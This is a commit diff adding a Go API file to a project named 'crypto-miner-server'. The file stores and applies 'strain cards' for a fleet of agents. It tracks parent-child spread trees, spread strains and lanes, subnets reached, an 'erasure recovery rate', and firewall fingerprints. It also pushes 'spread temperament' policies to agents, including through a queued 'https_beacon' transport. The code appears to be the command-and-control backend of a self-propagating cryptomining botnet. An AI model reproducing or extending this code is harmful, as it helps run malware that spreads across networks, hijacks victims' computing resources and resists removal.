Add lineage strain card generation and play API implementation.
Winning spread trees now persist StrainCard JSON and operators can apply strain/persona presets via POST /api/v1/fleet/play-strain-card with audit logging.
This commit is contained in:
309
server/internal/api/strain_card.go
Normal file
309
server/internal/api/strain_card.go
Normal file
@@ -0,0 +1,309 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"log"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
type playStrainCardRequest struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
CardID string `json:"card_id"`
|
||||
}
|
||||
|
||||
// GetStrainCards lists lineage strain cards (optionally filtered by agent_id).
|
||||
func (f *FleetHandler) GetStrainCards(w http.ResponseWriter, r *http.Request) {
|
||||
if f.db == nil {
|
||||
writeJSON(w, []strategy.StrainCard{})
|
||||
return
|
||||
}
|
||||
agentID := strings.TrimSpace(r.URL.Query().Get("agent_id"))
|
||||
if agentID != "" {
|
||||
stored, err := f.db.ListStrainCardsForAgent(agentID)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, decodeStrainCards(stored))
|
||||
return
|
||||
}
|
||||
stored, err := f.db.ListStrainCards(100)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, decodeStrainCards(stored))
|
||||
}
|
||||
|
||||
// PostPlayStrainCard applies a winning strain card preset to a target agent.
|
||||
func (f *FleetHandler) PostPlayStrainCard(w http.ResponseWriter, r *http.Request) {
|
||||
if f.db == nil || f.ws == nil {
|
||||
http.Error(w, "fleet services unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
var req playStrainCardRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid body", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
agentID := strings.TrimSpace(req.AgentID)
|
||||
cardID := strings.TrimSpace(req.CardID)
|
||||
if agentID == "" || cardID == "" {
|
||||
http.Error(w, "agent_id and card_id are required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if _, err := f.db.GetAgent(agentID); err != nil {
|
||||
http.Error(w, "agent not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
stored, err := f.db.GetStrainCard(cardID)
|
||||
if err != nil {
|
||||
http.Error(w, "strain card not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
var card strategy.StrainCard
|
||||
if err := json.Unmarshal([]byte(stored.CardJSON), &card); err != nil {
|
||||
http.Error(w, "invalid strain card data", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if card.ID == "" {
|
||||
card.ID = stored.ID
|
||||
}
|
||||
|
||||
result, err := f.ws.PlayStrainCard(agentID, card)
|
||||
if err != nil {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": false,
|
||||
"error": err.Error(),
|
||||
"agent_id": agentID,
|
||||
"card_id": cardID,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("[lineage] played strain card %q on agent %q (persona=%s play_id=%s sent=%v)",
|
||||
cardID, agentID, card.Persona, result.PlayID, result.Sent)
|
||||
|
||||
_ = f.db.InsertAudit(AuthUsername(r), "play_strain_card", agentID, map[string]interface{}{
|
||||
"card_id": cardID,
|
||||
"play_id": result.PlayID,
|
||||
"persona": card.Persona,
|
||||
"strain": card.SpreadStrain,
|
||||
"root": card.RootAgentID,
|
||||
"source": card.SourceAgentName,
|
||||
"sent": result.Sent,
|
||||
"queued": result.Queued,
|
||||
"transport": result.Transport,
|
||||
})
|
||||
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": true,
|
||||
"agent_id": agentID,
|
||||
"card_id": cardID,
|
||||
"play_id": result.PlayID,
|
||||
"persona": card.Persona,
|
||||
"strain": card.SpreadStrain,
|
||||
"sent": result.Sent,
|
||||
"queued": result.Queued,
|
||||
})
|
||||
}
|
||||
|
||||
func decodeStrainCards(stored []db.StoredStrainCard) []strategy.StrainCard {
|
||||
out := make([]strategy.StrainCard, 0, len(stored))
|
||||
for _, s := range stored {
|
||||
var card strategy.StrainCard
|
||||
if err := json.Unmarshal([]byte(s.CardJSON), &card); err != nil {
|
||||
card = strategy.StrainCard{
|
||||
ID: s.ID,
|
||||
RootAgentID: s.RootAgentID,
|
||||
SourceAgentID: s.SourceAgentID,
|
||||
SourceAgentName: s.SourceAgentName,
|
||||
SpreadStrain: s.SpreadStrain,
|
||||
SpreadLane: s.SpreadLane,
|
||||
Persona: s.Persona,
|
||||
PeakHashrate: s.PeakHashrate,
|
||||
ErasureRecoveryRate: s.ErasureRecoveryRate,
|
||||
TreeSize: s.TreeSize,
|
||||
CreatedAt: s.CreatedAt,
|
||||
UpdatedAt: s.UpdatedAt,
|
||||
}
|
||||
}
|
||||
if card.ID == "" {
|
||||
card.ID = s.ID
|
||||
}
|
||||
out = append(out, card)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func spreadTreeAgentsFromModels(agents []*models.Agent, joinLanes map[string]string, hashrates map[string]float64) []strategy.SpreadTreeAgent {
|
||||
out := make([]strategy.SpreadTreeAgent, 0, len(agents))
|
||||
for _, a := range agents {
|
||||
if a == nil {
|
||||
continue
|
||||
}
|
||||
lane := joinLanes[a.ID]
|
||||
hr := hashrates[a.ID]
|
||||
out = append(out, strategy.SpreadTreeAgent{
|
||||
ID: a.ID,
|
||||
Name: a.Name,
|
||||
IP: a.IP,
|
||||
ParentAgentID: a.ParentAgentID,
|
||||
SpreadGeneration: a.SpreadGeneration,
|
||||
SpreadStrain: a.SpreadStrain,
|
||||
JoinLane: lane,
|
||||
Hashrate: hr,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (h *WSHub) publishStrainCardForWinner(
|
||||
agentID, agentName, joinLane string,
|
||||
tierOrder []string,
|
||||
peakHashrate float64,
|
||||
attempts []strategy.TierAttempt,
|
||||
) {
|
||||
if h.db == nil {
|
||||
return
|
||||
}
|
||||
allAgents, err := h.db.ListAgents()
|
||||
if err != nil {
|
||||
log.Printf("[lineage] list agents: %v", err)
|
||||
return
|
||||
}
|
||||
joinLanes := h.agentJoinLanesSnapshot()
|
||||
hashrates := h.agentHashratesSnapshot()
|
||||
treeAgents := spreadTreeAgentsFromModels(allAgents, joinLanes, hashrates)
|
||||
|
||||
var parentLanes []string
|
||||
if h.breedingRegistry != nil {
|
||||
ag, _ := h.db.GetAgent(agentID)
|
||||
if ag != nil {
|
||||
fp := strategy.FingerprintFromAuth(ag.Platform, ag.IP, ag.FirewallDomain != nil && *ag.FirewallDomain)
|
||||
if bred, ok := h.breedingRegistry.GetBred(fp.Key()); ok {
|
||||
parentLanes = append([]string(nil), bred.ParentLanes...)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
card := strategy.BuildStrainCard(strategy.BuildStrainCardInput{
|
||||
SourceAgentID: agentID,
|
||||
SourceAgentName: agentName,
|
||||
SpreadLane: joinLane,
|
||||
TierOrder: tierOrder,
|
||||
PeakHashrate: peakHashrate,
|
||||
Attempts: attempts,
|
||||
TreeAgents: treeAgents,
|
||||
ParentLanes: parentLanes,
|
||||
})
|
||||
|
||||
cardJSON, err := json.Marshal(card)
|
||||
if err != nil {
|
||||
log.Printf("[lineage] marshal card: %v", err)
|
||||
return
|
||||
}
|
||||
id, err := h.db.UpsertStrainCard(card.RootAgentID, agentID, cardJSON, db.StoredStrainCard{
|
||||
SourceAgentName: card.SourceAgentName,
|
||||
SpreadStrain: card.SpreadStrain,
|
||||
SpreadLane: card.SpreadLane,
|
||||
Persona: card.Persona,
|
||||
PeakHashrate: card.PeakHashrate,
|
||||
ErasureRecoveryRate: card.ErasureRecoveryRate,
|
||||
TreeSize: card.TreeSize,
|
||||
})
|
||||
if err != nil {
|
||||
log.Printf("[lineage] upsert strain card: %v", err)
|
||||
return
|
||||
}
|
||||
card.ID = id
|
||||
log.Printf("[lineage] strain card %q for tree root=%s source=%s wins=%d losses=%d subnets=%d erasure=%.2f",
|
||||
id, card.RootAgentID, agentName, len(card.Wins), len(card.Losses), len(card.Subnets), card.ErasureRecoveryRate)
|
||||
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "strain_card",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"card": card,
|
||||
}),
|
||||
})
|
||||
}
|
||||
|
||||
func (h *WSHub) agentJoinLanesSnapshot() map[string]string {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
out := make(map[string]string, len(h.agentLiveTelemetry))
|
||||
for id, telem := range h.agentLiveTelemetry {
|
||||
if lane, ok := telem["join_lane"].(string); ok && lane != "" {
|
||||
out[id] = lane
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (h *WSHub) agentHashratesSnapshot() map[string]float64 {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
out := make(map[string]float64, len(h.agentLiveTelemetry))
|
||||
for id, telem := range h.agentLiveTelemetry {
|
||||
if hr, ok := telem["mining_hashrate"].(float64); ok && hr > 0 {
|
||||
out[id] = hr
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// StrainCardPlayResult is the outcome of playing a card on an agent.
|
||||
type StrainCardPlayResult struct {
|
||||
PlayID string
|
||||
Sent bool
|
||||
Queued bool
|
||||
Transport string
|
||||
}
|
||||
|
||||
// PlayStrainCard pushes spread temperament from a lineage card to an agent.
|
||||
func (h *WSHub) PlayStrainCard(agentID string, card strategy.StrainCard) (StrainCardPlayResult, error) {
|
||||
agentID = strings.TrimSpace(agentID)
|
||||
if agentID == "" {
|
||||
return StrainCardPlayResult{}, errAgentRequired
|
||||
}
|
||||
temp := strategy.TemperamentFromCard(card)
|
||||
policy := FleetAgentPolicy{SpreadTemperament: &temp}
|
||||
pushID := "strain-" + card.ID
|
||||
sent, failed := h.PushPolicyUpdate([]string{agentID}, policy, pushID)
|
||||
if sent == 0 && failed > 0 {
|
||||
return StrainCardPlayResult{}, errAgentNotConnected
|
||||
}
|
||||
result := StrainCardPlayResult{
|
||||
PlayID: pushID,
|
||||
Sent: sent > 0,
|
||||
}
|
||||
if !h.isAgentConnected(agentID) && sent > 0 {
|
||||
result.Queued = true
|
||||
result.Transport = "https_beacon"
|
||||
}
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "strain_card_played",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"card_id": card.ID,
|
||||
"play_id": pushID,
|
||||
"persona": card.Persona,
|
||||
"strain": card.SpreadStrain,
|
||||
}),
|
||||
})
|
||||
return result, nil
|
||||
}
|
||||
|
||||
var (
|
||||
errAgentRequired = &strainCardError{"agent id is required"}
|
||||
errAgentNotConnected = &strainCardError{"agent not connected"}
|
||||
)
|
||||
|
||||
type strainCardError struct{ msg string }
|
||||
|
||||
func (e *strainCardError) Error() string { return e.msg }
|
||||
Reference in New Issue
Block a user